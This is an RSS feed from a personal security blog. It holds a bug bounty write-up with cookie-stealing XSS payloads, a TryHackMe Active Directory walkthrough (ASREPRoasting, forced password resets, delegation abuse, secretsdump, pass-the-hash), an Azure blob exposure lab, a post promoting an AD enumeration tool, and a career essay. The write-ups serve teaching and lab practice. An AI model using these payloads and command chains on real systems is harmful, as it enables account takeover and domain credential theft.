<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ovawatch Security]]></title><description><![CDATA[Ovawatch Security]]></description><link>https://blog.ovawatch.co.za</link><image><url>https://cdn.hashnode.com/uploads/logos/651297dcbcee4f7b50e3687b/33eae165-888c-457f-bc12-e12468cb37e7.png</url><title>Ovawatch Security</title><link>https://blog.ovawatch.co.za</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 01 May 2026 08:29:37 GMT</lastBuildDate><atom:link href="https://blog.ovawatch.co.za/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[My First Bug Bounty: Chaining Open Redirect and DOM XSS into Account Takeover]]></title><description><![CDATA[This was my first ever valid bug bounty report through a VDP, and it got marked Medium severity. It was also not a duplicate, so for me this was a huge win.
One thing I had heard a lot in bug bounty i]]></description><link>https://blog.ovawatch.co.za/my-first-bug-bounty-chaining-open-redirect-and-dom-xss-into-account-takeover</link><guid isPermaLink="true">https://blog.ovawatch.co.za/my-first-bug-bounty-chaining-open-redirect-and-dom-xss-into-account-takeover</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[#infosec]]></category><category><![CDATA[appsec]]></category><category><![CDATA[hacking]]></category><category><![CDATA[hackerone]]></category><category><![CDATA[open-redirect]]></category><category><![CDATA[XSS]]></category><dc:creator><![CDATA[theblxckcicada]]></dc:creator><pubDate>Fri, 10 Apr 2026 07:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/651297dcbcee4f7b50e3687b/d0ce8d91-c005-4ac7-adac-74c8577e1fbd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This was my <strong>first ever valid bug bounty report</strong> through a VDP, and it got marked <strong>Medium severity</strong>. It was also <strong>not a duplicate</strong>, so for me this was a huge win.</p>
<p>One thing I had heard a lot in bug bounty is that <strong>open redirects on their own usually do not have much impact</strong>. And honestly, that is often true. But the first time I really understood <strong>bug chaining</strong> was after reading <em>Bug Bounty Bootcamp</em> by Vickie Li. That idea stayed with me.</p>
<p>At the time, I was actually hunting for <strong>SSRF</strong> when I landed on an <strong>open redirect</strong> on a subdomain belonging to a large telecom company. Instead of moving on, I decided to read the JavaScript to understand how it worked. That is when I found something much better: a <strong>DOM-Based XSS</strong>.</p>
<p>Most of my payloads were blocked, but I found one that worked:</p>
<pre><code class="language-html">&lt;Img Src=OnXSS OnErroR=confirm(document.cookie)&gt;
</code></pre>
<p>That confirmed JavaScript execution. From there, I started thinking beyond just XSS and asked myself: <strong>can I turn this into real impact?</strong></p>
<p>I noticed the application attached a query parameter called <code>utm_source</code>, and that value could be updated through the DOM. That let me use this payload:</p>
<pre><code class="language-html">&lt;Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))&gt;
</code></pre>
<p>By chaining that with the open redirect, I was able to exfiltrate cookie data and reuse the victim’s session, which led to <strong>session hijacking</strong> and ultimately <strong>account takeover</strong>.</p>
<p>The redacted endpoint structure looked like this:</p>
<pre><code class="language-http">https://example-sub.example.com/preview?next=&lt;ATTACKER_CONTROLLED_URL&gt;&amp;bannerText=&lt;Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))&gt;
</code></pre>
<p>What made this work was simple:</p>
<ul>
<li><p>the cookies were <strong>not</strong> <code>HttpOnly</code>, so JavaScript could read them</p>
</li>
<li><p>the <code>next</code> and <code>bannerText</code> parameters were <strong>not properly validated or sanitized</strong></p>
</li>
</ul>
<p>That is what made the chain dangerous. The open redirect alone might not have been enough, but combined with DOM XSS and readable session cookies, it became a <strong>medium-severity account takeover</strong></p>
<h3>The Moment It Got Triaged</h3>
<p>One of the best parts of this experience was getting the triage message back and seeing that the report was marked as <strong>triaged and medium severity</strong>. Since this was my first valid bug bounty report and it was also <strong>not a duplicate</strong>, that moment meant a lot to me.</p>
<img src="https://cdn.hashnode.com/uploads/covers/651297dcbcee4f7b50e3687b/1d413e81-bf2e-49d1-995c-02caf6ce3d9e.jpg" alt="" style="display:block;margin:0 auto" />

<p>This bug taught me something I will carry into every hunt: <strong>do not dismiss “low-impact” bugs too quickly</strong>. Sometimes the real value is not the first bug you find, but what happens when you connect it to something else.</p>
]]></content:encoded></item><item><title><![CDATA[Reset Writeup]]></title><description><![CDATA[Credit for this room goes to : h4sh3m00 and tryhackme
In this room, we'll step into the shoes of a red teamer in a simulated hack challenge. We'll navigate a realistic organizational environment with up-to-date defenses, where we'll test our penetrat...]]></description><link>https://blog.ovawatch.co.za/reset-writeup</link><guid isPermaLink="true">https://blog.ovawatch.co.za/reset-writeup</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Security]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[theblxckcicada]]></dc:creator><pubDate>Sat, 19 Jul 2025 14:36:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752930963229/dfcd9cce-a485-4281-b566-6e60cce79649.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Credit for this room goes to : <a target="_blank" href="https://tryhackme.com/p/h4sh3m00">h4sh3m00</a> and <a target="_blank" href="https://tryhackme.com/p/tryhackme">tryhackme</a></p>
<p>In this room, we'll step into the shoes of a red teamer in a simulated hack challenge. We'll navigate a realistic organizational environment with up-to-date defenses, where we'll test our penetration testing skills, try to bypass security measures, and infiltrate the system.</p>
<p>From our <code>nmap</code> scan, using the tool <a target="_blank" href="https://github.com/21y4d/nmapAutomator"><code>nmapAutomator</code></a>, we can see that the machine is a Windows server running Active Directory. Below is a snippet of the <code>nmap</code> results that will be most important for us.</p>
<pre><code class="lang-bash"> sudo nmapAutomator.sh -t Full -H 10.10.149.103
</code></pre>
<pre><code class="lang-bash">
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-19 07:41:43Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: HAYSTACK
|   DNS_Domain_Name: thm.corp
|   DNS_Computer_Name: HayStack.thm.corp
|   DNS_Tree_Name: thm.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-19T07:42:35+00:00
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2025-07-18T07:32:24
|_Not valid after:  2026-01-17T07:32:24
|_ssl-date: 2025-07-19T07:43:15+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows
</code></pre>
<p>From the <code>nmap</code> scan we can see that the domain for this server is <code>thm.corp</code> and the DNS Computer name is <code>haystack.thm.corp</code>. Both of these domains we add them in <code>/etc/hosts</code></p>
<pre><code class="lang-bash">10.10.149.103       thm.corp haystack.thm.corp
</code></pre>
<p>By using <code>crackmapexec</code> we are able to list the shares with a guest user as it is not disabled and does not require a password. We can see from the results that we are able to read and write in <code>Data</code> share drive.</p>
<pre><code class="lang-bash">crackmapexec smb thm.corp -g <span class="hljs-string">'guest'</span> -p <span class="hljs-string">''</span> --shares
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752932957897/e0f94d16-2992-4193-8746-babc7d27685d.png" alt class="image--center mx-auto" /></p>
<p>To access the share drive we use <code>smbclient</code> and pass the guest user account with no password. In the drive we find a directory named <code>onboarding</code> and within the directory we find 3 files and we use the <code>smb</code> commands to download all of them.</p>
<pre><code class="lang-bash">smbclient //thm.corp/Data -U guest

<span class="hljs-comment"># Download the files from smbclient</span>
prompt off <span class="hljs-comment"># this disables confirmation when downloading</span>
resurse on <span class="hljs-comment"># this is to download even sub directory data if they exist </span>
mget * <span class="hljs-comment"># this is to download everything in the current directory </span>
<span class="hljs-built_in">exit</span> <span class="hljs-comment"># to exit the smbclient shell session</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752933066930/18559289-0660-4097-8129-3d599a6c03e4.png" alt class="image--center mx-auto" /></p>
<p>Now that we have downloaded all the files to our local machine, we can see that the text file contains an email template. It appears to be intended for a new team member and includes a default password: <code>ResetMe123!</code>.</p>
<pre><code class="lang-bash">cat 4fx32pug.h2y.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752933619887/bfa30973-512e-4be8-a30d-5ef4278590b5.png" alt class="image--center mx-auto" /></p>
<p>Well we have a password but no user account, it’s time we find a user. As we noticed that the guest account is active we use impacket’s lookupsid to try and grab all the local and domain usernames in the server.</p>
<pre><code class="lang-bash">impacket-lookupsid thm.corp/guest@thm.corp -no-pass  |  awk -F <span class="hljs-string">'[:\\\\\\\\(\\\\)]'</span> <span class="hljs-string">'/SidTypeUser/ {{print $3}}'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752933745946/6d86f697-87c0-46ff-829a-7e6277e72149.png" alt class="image--center mx-auto" /></p>
<p>We save the list of users to the <code>users.txt</code> file for safe keeping as we may need it later. To find if a user didn’t update their password and still uses the default one we can use <code>kerbrute</code> or <code>crackmapexec</code> and in this case I used <code>crackmapexec</code> and found a valid user <code>LILY_ONEILL</code>.</p>
<pre><code class="lang-bash">crackmapexec smb thm.corp -u users.txt -p <span class="hljs-string">'ResetMe123!'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752933944887/3ddaddb9-b9f6-4e70-b2ab-04c1fbebc005.png" alt class="image--center mx-auto" /></p>
<p>Even though we found valid user credentials, we couldn't use them because they were revoked. So, we need to find another attack path. Just like we used <code>impacket-lookupsid</code>, we will use <code>impacket-GetNPUsers</code>, which tries to collect non-preauth AS_REP responses for a given list of users. This method is known as <code>ASREPRoasting</code>. From the list of hashes we obtained, we managed to crack the password for <code>TABATHA_BRITT</code> using <code>hashcat</code>, as shown below.</p>
<pre><code class="lang-bash"> impacket-GetNPUsers <span class="hljs-string">'thm.corp/guest'</span>@thm.corp -no-pass -request -usersfile users.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934172092/917fbaae-b190-4157-be8a-527fbf872615.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">hashcat hash.txt /opt/wordlists/rockyou.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934254212/592a41e6-8192-4c16-928f-f05cb42287a7.png" alt class="image--center mx-auto" /></p>
<p>Now that we have a valid username and password we need an advantage which in this case is to use <code>bloodhound</code> to gather more information about our target.</p>
<pre><code class="lang-bash">bloodhound-python -d thm.corp -u tabatha_britt -p <span class="hljs-string">'marlboro(1985)'</span> -ns 10.10.149.103  -c all
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934357581/fb512eed-ec39-4195-a7ef-e1f7b4f203f4.png" alt class="image--center mx-auto" /></p>
<p>To launch the Bloodhound web interface, use the following command. When you run <code>sudo docker-compose -f bloodhound.yml up</code>, you will receive a default password. The username will be <code>admin</code>, and you'll need to use the provided password initially, then reset it.</p>
<pre><code class="lang-bash">sudo apt update &amp;&amp; sudo apt upgrade
sudo apt install docker.io
sudo systemctl <span class="hljs-built_in">enable</span> docker --now
sudo apt install docker-compose
curl -L https://ghst.ly/getbhce -o bloodhound.yml
sudo docker-compose -f bloodhound.yml up
</code></pre>
<p>After logging into the interface, upload all the Bloodhound files and go to <code>Explore</code>. Instead of searching, click on <code>PATHFINDING</code>. From <code>SEARCHING</code>, we know that <code>CECILE_WONG</code> is part of the Domain Admins, so we need to find the path to her account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934614294/b05b486d-3176-4cdd-bf74-cc7386363673.png" alt class="image--center mx-auto" /></p>
<p>The snippet above shows that <code>TABATHA_BRITT</code> can force a password change for <code>SHAWNA_BRAY</code>, who can do the same for <code>CRUZ_HALL</code>. <code>CRUZ_HALL</code> can then force a password change for <code>DARLA_WINTERS</code>, who has permissions to delegate on the server. We use the following steps to change the passwords of these users.</p>
<pre><code class="lang-bash">net rpc password <span class="hljs-string">"SHAWNA_BRAY"</span> <span class="hljs-string">"P@ssw0rd123"</span> -U <span class="hljs-string">"thm.corp"</span>/<span class="hljs-string">"TABATHA_BRITT"</span>%<span class="hljs-string">"marlboro(1985)"</span> -S <span class="hljs-string">"10.10.149.103"</span>  
net rpc password <span class="hljs-string">"CRUZ_HALL"</span> <span class="hljs-string">"P@ssw0rd123"</span> -U <span class="hljs-string">"thm.corp"</span>/<span class="hljs-string">"SHAWNA_BRAY"</span>%<span class="hljs-string">"P@ssw0rd123"</span> -S <span class="hljs-string">"10.10.149.103"</span> 
net rpc password <span class="hljs-string">"DARLA_WINTERS"</span> <span class="hljs-string">"P@ssw0rd123"</span> -U <span class="hljs-string">"thm.corp"</span>/<span class="hljs-string">"CRUZ_HALL"</span>%<span class="hljs-string">"P@ssw0rd123"</span> -S <span class="hljs-string">"10.10.149.103"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934775818/6fabe852-c1c9-46b1-b007-653ee01777a1.png" alt class="image--center mx-auto" /></p>
<p>Now that we have <code>DARLA_WINTERS</code>' valid credentials we use <code>impacket-findDelegation</code> to list the delegation rights.</p>
<pre><code class="lang-bash">impacket-findDelegation thm.corp/<span class="hljs-string">'DARLA_WINTERS'</span>:P@ssw0rd123  -dc-ip 10.10.149.103
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934852771/13837c45-dccb-47fa-8290-d4ee95198ea9.png" alt class="image--center mx-auto" /></p>
<p>From the list we choose the <code>cifs/HayStack.thm.corp</code> to impersonate an administrator and request a ticket on behalf of the administrator then save that ticket to <code>KRB5CCNAME</code> environment variable.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Request ticket onbehalf of the administrator </span>
impacket-getST thm.corp/<span class="hljs-string">'DARLA_WINTERS'</span>:<span class="hljs-string">'P@ssw0rd123'</span> -spn cifs/HAYSTACK.thm.corp -impersonate administrator -dc-ip 10.10.149.103

<span class="hljs-comment"># Save to environment variable</span>
<span class="hljs-built_in">export</span> KRB5CCNAME=administrator@cifs_HAYSTACK.thm.corp@THM.CORP.ccache
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752934951336/b58a7306-f130-4d49-bcbe-e5f46a4ca0ca.png" alt class="image--center mx-auto" /></p>
<p>Now that we have the ticket we can pass the ticket and dump the domain controller <code>NTLM</code> hashes for all the users.</p>
<pre><code class="lang-bash">impacket-secretsdump thm.corp/administrator@HAYSTACK.thm.corp -k -no-pass -dc-ip 10.10.149.103 -just-dc-ntlm
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752935155328/ab742494-316f-4cb5-863f-248abf21f2c5.png" alt class="image--center mx-auto" /></p>
<p>Final step is to use <code>evil-winrm</code> to get shell session with <code>CECILE_WONG</code>'s <code>NTLM</code> hash who is part of the domain admin users.</p>
<pre><code class="lang-bash">evil-winrm -u CECILE_WONG -H 067a84e5afaed843ed4a8fdac5facac3 -i thm.corp
</code></pre>
<p>As you followed along, you'll notice that I didn't show any flags, and that was intentional. This write-up is meant to help you understand and develop the mindset of a penetration tester. We are not hunting for flags; instead, we are simulating real-world attacks. Keep practicing, stay curious, and let each challenge sharpen your approach to real-world security testing.</p>
]]></content:encoded></item><item><title><![CDATA[Azure Blob Container to Initial Access]]></title><description><![CDATA[In this article, we will explore the PwnedLabs Free Azure Blob Container as a potential vector for initial access. Our focus will be on identifying and leveraging any exposed blob storage that could provide a pathway to obtaining user-level access fo...]]></description><link>https://blog.ovawatch.co.za/azure-blob-container-to-initial-access</link><guid isPermaLink="true">https://blog.ovawatch.co.za/azure-blob-container-to-initial-access</guid><dc:creator><![CDATA[theblxckcicada]]></dc:creator><pubDate>Sat, 11 Jan 2025 11:27:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736593907635/5f04894d-4d66-48cc-bc04-4b4ef4b4e9dd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article, we will explore the <a target="_blank" href="https://pwnedlabs.io/labs/azure-blob-container-to-initial-access">PwnedLabs</a> Free Azure Blob Container as a potential vector for initial access. Our focus will be on identifying and leveraging any exposed blob storage that could provide a pathway to obtaining user-level access for the Megabigtech platform. We will analyze the configuration and security settings of the Azure Blob storage, evaluate the risks associated with its exposure, and discuss techniques for exploiting these vulnerabilities to gain unauthorized access. Join us as we delve into the methodologies and implications of such an approach in the realm of cloud security.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># url </span>
http://dev.megabigtech.com/<span class="hljs-variable">$web</span>/index.html
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594192442/6d76031d-9d18-4ddc-85fd-6f82e3ad8a95.png" alt class="image--center mx-auto" /></p>
<p>We attempted to use the <a target="_blank" href="https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1">MicroBurst</a> to enumerate the blob, but we didn’t get any results, so now we are proceeding manually.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594352689/d4a5c074-bd4e-44c5-89c3-b6ed11df835b.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash"><span class="hljs-comment"># we add these query parameters to the blob storage and see what we can find</span>
?restype=container&amp;comp=list

<span class="hljs-comment"># Full url </span>
https://mbtwebsite.blob.core.windows.net/<span class="hljs-variable">$web</span>?restype=container&amp;comp=list
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594462350/492171e9-236c-43af-8117-f84a6213017c.png" alt class="image--center mx-auto" /></p>
<p>Upon investigation, we discovered that only the static CSS and HTML files were available for the hosted website. Unfortunately, there wasn’t anything particularly engaging or noteworthy within the files.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># We add the query to include versions </span>
?restype=container&amp;comp=list&amp;include=versions

<span class="hljs-comment"># Full url </span>
https://mbtwebsite.blob.core.windows.net/<span class="hljs-variable">$web</span>?restype=container&amp;comp=list&amp;include=versions
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594432429/33fe48c3-1f49-4d50-a5d2-90c57bc744c3.png" alt class="image--center mx-auto" /></p>
<p>Although our previous attempts have not been entirely successful, we decided to utilize the terminal to incorporate the ‘x-ms-version’ header, specifically set to the date 2019-12-12, as outlined in the <a target="_blank" href="https://learn.microsoft.com/en-us/rest/api/storageservices/list-blobs?tabs=microsoft-entra-id#uri-parameters">Microsoft documentation</a>. By doing this, we finally managed to successfully access the ‘scripts-transfer.zip’ file.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Full url </span>
https://mbtwebsite.blob.core.windows.net/<span class="hljs-variable">$web</span>?restype=container&amp;comp=list&amp;include=versions

<span class="hljs-comment"># Terminal command </span>
 curl -H <span class="hljs-string">"x-ms-version: 2019-12-12"</span> <span class="hljs-string">'https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list&amp;include=versions'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594034737/6ea1e250-28f8-4354-97e6-5e82a6dcc624.png" alt class="image--center mx-auto" /></p>
<p>I attempted to download the file using my browser, but unfortunately, that method wasn't successful. As a result, we decided to revert back to using the terminal for the download process. This time, we made sure to include the 'x-ms-version' as a header to ensure compatibility with the server's requirements.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Terminal command</span>
curl -H <span class="hljs-string">"x-ms-version: 2019-12-12"</span> <span class="hljs-string">'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z'</span>  --output scripts-transfer.zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594050418/893364aa-d6f0-40d2-9408-9e79b504812c.png" alt class="image--center mx-auto" /></p>
<p>The zip file contained two PowerShell scripts that include credentials for the Azure portal.</p>
<pre><code class="lang-bash">unzip scripts-transfer.zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594060999/375b7ff4-62e2-46ab-8b14-f1c56dbb1a44.png" alt class="image--center mx-auto" /></p>
<p>We use the cat command to list the contents of two files. However, entra_users.ps1 contains clear text credentials, and running this script would allow us to list all user information.</p>
<pre><code class="lang-bash">cat entra_users.ps1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594070844/d3c82314-4021-465a-835f-d977e6ebe2e0.png" alt class="image--center mx-auto" /></p>
<p>Before running the script, we need to install the required modules, which are listed at the beginning of the script. Running the script will provide us with a flag that can be found under the job title in one of the user information sections.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Install the modules </span>
Install-Module -Name Az
Install-Module -Name MSAL.PS

<span class="hljs-comment"># Then we run the script </span>
.\entra_users.ps1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736594087687/7e5fa2d1-f51c-4ac7-b199-bc2da13bd5a9.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Active Directory Enumeration with Mastertul]]></title><description><![CDATA[Before you continue with this blog post, I want to clarify that this content is for educational and ethical purposes only. Do not use these methods on a network you are not authorized to access.
Active Directory(AD) enumeration is like exploring a Wi...]]></description><link>https://blog.ovawatch.co.za/active-directory-enumeration-with-mastertul</link><guid isPermaLink="true">https://blog.ovawatch.co.za/active-directory-enumeration-with-mastertul</guid><category><![CDATA[#enumeration]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Exploitation]]></category><category><![CDATA[ethicalhacking]]></category><dc:creator><![CDATA[theblxckcicada]]></dc:creator><pubDate>Tue, 09 Jul 2024 09:07:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720511992102/aa69d5c0-f1e5-4dc3-8bab-7503db1a9648.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Before you continue with this blog post, I want to clarify that this content is for educational and ethical purposes only. Do not use these methods on a network you are not authorized to access.</p>
<p>Active Directory(AD) enumeration is like exploring a Windows network's phonebook (Active Directory) to find information on users, groups, computers, and more. This helps system admins improve security and ethical hackers find weaknesses. But remember, it's only okay to do this on a network you have permission to access!</p>
<p>To enumerate this information, you first need to run Impacket's <code>lookupsid.py</code> to list all users, groups, computers, and more. Then, filter out the usernames and store them in a user list file. Next, run impacket's <code>GetNPUsers.py</code> (this attack is called ASREPRoast) to target users with a weak security setting called "Do not require Kerberos preauthentication." This allows the script to potentially capture password information (AesRep hash) without needing the actual password. Alternatively, you can use <code>GetUserSPNs.py</code> to enumerate Service Principal Names (SPNs) associated with user accounts in an Active Directory environment. These two scripts are used to steal users' hashes. You can then run those hashes against Hashcat or John the Ripper to crack them.</p>
<p>When you have found valid credentials, you might want to understand the AD layout. In that case, you should run BloodHound to see which users, groups, and computers have specific permissions. All of this involves a lot of manual work, running one script after another. But what if you could automate this process?</p>
<p><a target="_blank" href="https://github.com/theblxckcicada/Cicada-Mastertul">The Cicada Mastertul</a> gives you the flexibility to automate all these tasks and more, such as enumerating SMB shares and downloading their content, checking for WinRM connections, and performing LDAP enumeration. All you need to do is provide valid credentials and let the tool handle the rest, saving you time for other important tasks.</p>
<p>Although I won't cover every technique for using this script, I'll show the basic usage. Perhaps I'll write full documentation for it someday. For now, I'll showcase some examples based on what you want to enumerate. I have used a username (<code>-u</code>) and password (<code>-p</code>) for enumeration in these examples, but you can use an NTLM hash (<code>-H</code>) if you only have that. If you do not provide a flag, it will default to full mode (<code>--full</code>). If you provide a network, each enumeration will be in its respective IP address folder, and everything will be organized. You can find the usage manual by using</p>
<pre><code class="lang-python">python3 cicada-mastertul.py -h
</code></pre>
<h3 id="heading-lookupsid-enumeration">Lookupsid Enumeration</h3>
<p>In this case I used a valid IP address instead of a network address to only enumerate a single host</p>
<pre><code class="lang-python">python3 cicada-mastertul.py -u Administrator -p <span class="hljs-string">'Password123!'</span> -t <span class="hljs-number">192.168</span><span class="hljs-number">.40</span><span class="hljs-number">.6</span> -d mayorsec.local --lookupsid
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720514937705/42db8bd2-ad7a-48db-8960-e56e4cd83440.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-kerberos-enumeration">Kerberos Enumeration</h3>
<p>Kerberos enumeration includes Impacket's GetNPUsers and GetUserSPNs. If you don't include the (--crack) flag, it will just grab the hashes and not run them against Hashcat. The --crack flag should be used with a wordlist (-w).</p>
<pre><code class="lang-python">python3 cicada-mastertul.py -u Administrator -p <span class="hljs-string">'Password123!'</span> -t <span class="hljs-number">192.168</span><span class="hljs-number">.40</span><span class="hljs-number">.6</span> -d mayorsec.local --kerberos
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720515133457/1e616c9a-de99-4184-b222-ace715d53fcc.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-smb-enumeration">SMB Enumeration</h3>
<p>With a network IP address, you can pass that in and let the tool find all IP addresses with smb enabled and enumerate them.</p>
<pre><code class="lang-python">python3 cicada-mastertul.py -u Administrator -p <span class="hljs-string">'Password123!'</span> -t <span class="hljs-number">192.168</span><span class="hljs-number">.40</span><span class="hljs-number">.0</span>/<span class="hljs-number">24</span> -d mayorsec.local --smb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720514170366/e467bc1e-3698-46f4-9fc4-706c9b6117c2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-full-enumeration">Full Enumeration</h3>
<p>Full enumeration runs everything and might take longer depending on the IP addresses list of hosts.</p>
<pre><code class="lang-python">python3 cicada-mastertul.py -u Administrator -p <span class="hljs-string">'Password123!'</span> -t <span class="hljs-number">192.168</span><span class="hljs-number">.40</span><span class="hljs-number">.6</span> -d mayorsec.local --full
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720515262499/02bf5591-c3cf-4c97-8d0f-d3d1d7b18476.png" alt class="image--center mx-auto" /></p>
<p>As I explained, these are just examples; you can experiment with the tool and try different things. I hope you enjoy it.</p>
<p><a target="_blank" href="https://github.com/theblxckcicada/Cicada-Mastertul">The Cicada Mastertul github link</a></p>
]]></content:encoded></item><item><title><![CDATA[The Influence of TV Shows on Career Choices]]></title><description><![CDATA[In my hometown, the definition of a promising future was quite limited. You were expected to aspire to careers like doctor, nurse, policeman/policewoman, social worker, teacher, or lawyer if you wanted to be seen as having a bright future. These were...]]></description><link>https://blog.ovawatch.co.za/the-influence-of-tv-shows-on-career-choices</link><guid isPermaLink="true">https://blog.ovawatch.co.za/the-influence-of-tv-shows-on-career-choices</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[tech ]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[infosec]]></category><dc:creator><![CDATA[theblxckcicada]]></dc:creator><pubDate>Fri, 29 Sep 2023 22:26:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1696026078354/47c21f25-7d14-4396-bb02-d4c7466fdea1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In my hometown, the definition of a promising future was quite limited. You were expected to aspire to careers like <strong>doctor</strong>, <strong>nurse</strong>, <strong>policeman/policewoman</strong>, <strong>social worker</strong>, <strong>teacher</strong>, or <strong>lawyer</strong> if you wanted to be seen as having a bright future. These were the professions that received the spotlight in both lower and higher grades of education. However, if you dared to dream of becoming an <strong>engineer</strong>, a <strong>pilot</strong>, or something beyond the traditional choices, your ambitions were often met with skepticism and doubt.</p>
<p>My journey mirrored this conventional path. From my early years until the culmination of grade 12, my goal was to become a <strong>doctor</strong>. It seemed like the only logical choice. However, a turning point in my life occurred when my sister indirectly introduced me to the world of technology while we were engrossed in watching the popular TV show, "<strong>Blindspot</strong>."</p>
<p><strong>Blindspot</strong> was an intriguing series that revolved around a woman discovered naked in Times Square, her body intricately covered with enigmatic tattoos. These tattoos became the key to solving various cases and thwarting terrorist attacks for the FBI team. While watching the show, I found myself captivated by the tech side of the investigations. Although it was a fictional portrayal of technology, I told myself that this was what I wanted to learn and explore.</p>
<p>Following that revelation, I became utterly obsessed with computers and how they functioned. So passionate was I about this newfound interest that I made a drastic decision: I dropped out of my Teaching course to enroll in an <strong>IT course</strong>. I yearned to be behind a computer, understanding the inner workings of this incredible technology.</p>
<p>I can vividly recall the exhilaration of writing my very first <code>"Hello World!"</code> program using <strong>Java</strong>. The satisfaction I derived from this simple code was unparalleled. I dedicated three hours each day to practice and refine my programming skills, eventually becoming quite proficient.</p>
